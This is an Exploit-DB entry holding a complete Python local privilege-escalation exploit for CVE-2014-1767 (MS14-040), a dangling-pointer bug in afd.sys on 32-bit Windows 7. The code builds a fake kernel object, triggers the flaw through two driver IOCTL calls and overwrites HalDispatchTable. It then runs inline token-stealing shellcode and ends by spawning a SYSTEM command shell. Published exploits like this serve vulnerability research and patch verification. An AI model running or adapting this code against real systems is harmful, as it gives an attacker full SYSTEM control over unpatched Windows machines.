Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)

EDB-ID:

39446


Platform:

Windows_x86

Published:

2016-02-15

# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
#  	     afd.sys - 6.1.7600.16385
#            ntdll.dll - 6.1.7600.16385 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# 	http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#	http://ricklarabee.blogspot.com/
#	https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# 	https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#	http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook



from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x00000040
Zerobits   = c_int(0)
RegionSize = c_int(0x1000)
written    = c_int(0)

FakeObjSize = 0xA0

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

def findSysBase(drvname=None):
    ARRAY_SIZE            = 1024
    myarray               = c_ulong * ARRAY_SIZE 
    lpImageBase           = myarray() 
    cb                    = c_int(1024) 
    lpcbNeeded            = c_long() 
    drivername_size       = c_long() 
    drivername_size.value = 48

    Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
    for baseaddy in lpImageBase: 
        drivername = c_char_p("\x00"*drivername_size.value) 
        if baseaddy: 
            Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, 
                            drivername_size.value)
            if drvname:
                if drivername.value.lower() == drvname:
                    print "[+] Retrieving %s info..." % drvname
                    print "[+] %s base address: %s" % (drvname, hex(baseaddy))
                    return baseaddy
            else:
                if drivername.value.lower().find("krnl") !=-1:
                    print "[+] Retrieving Kernel info..."
                    print "[+] Kernel version:", drivername.value
                    print "[+] Kernel base address: %s" % hex(baseaddy) 
                    return (baseaddy, drivername.value)
    return None


def CreateBuffer1():
    inbuf1size = 0x30
    virtualAddress = 0x18888888
    length = 0x20000
   
    inbuf1  = "\x00" * 0x18 + struct.pack("L", virtualAddress)    #0x1a
    inbuf1 += struct.pack("L", length)            #0x20
    inbuf1 += "\x00" * 0x8 + "\x01"   
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_int(0x1001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)
    kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))


def CreateBuffer2():
    inbuf2size = 0x10
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = "\x01\x00\x00\x00"
    inbuf2 += struct.pack("L", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_int(0x2001)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)   
    kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))

def CreateFakeObject():
    print "[+] Print creating fakeobject"
    fakeobject2addr = 0x2200
    fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x01\x00\x00\x00\x01\x00\x00\x00"
        "\x00\x00\x00\x00\x16\x00\x08\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00")


    fakeobject = objhead
    fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
    fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
   
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

if sock == -1:
    print "[-] no luck creating socket!"
    sys.exit(1)

print "[+] got sock 0x%x" % sock

addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)

connect(sock, byref(addr), sizeof(addr))

print "[+] sock connected."
print "\n[+] GO!"

(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
    HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
    _KPROCESS = "\x50"
    _TOKEN    = "\xf8"
    _UPID     = "\xb4"
    _APLINKS  = "\xb8"   

print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

IoStatus = c_ulong()
IoStatusBlock = c_ulong()

CreateBuffer1()
CreateBuffer2()
CreateFakeObject()

inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100


# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)

CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))

ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))

shellcode_address   = 0x00020700
padding           = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4

_WFValue = struct.pack("L", hWFaddr)

sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs =  "\x31\xc0" + \
                "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
                "\xa3" + struct.pack("L", HalDispatchTable0x4)   
   
tokenstealing =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"  

fixobjheaders = "\x33\xC0"                                +\
                "\x64\x8B\x80\x24\x01\x00\x00"            +\
                "\x8B\x40\x50"                            +\
                "\x8B\x80\xF4\x00\x00\x00"                +\
                "\x8B\xD8"                                +\
                "\x8B\x00"                                +\
                "\x8B\x0D" + _WFValue                    +\
                "\x83\xE1\xFC"                            +\
                "\x03\xC9"                                +\
                "\x03\xC1"                                +\
                "\xC7\x00\x00\x00\x00\x00"                +\
                "\x83\xC3\x30"                            +\
                "\x8B\xC3"                                +\
                "\x8B\x1B"                                +\
                "\x83\xEB\x01"                            +\
                "\x89\x18"                                +\
                "\x5B"                                    +\
                "\x5A"                                    +\
                "\xC2\x10\x00"

               
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size    = len(shellcode)
orig_size         = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))


### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)

ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)

ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;

inp  = c_ulong()
out  = c_ulong()
inp  = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")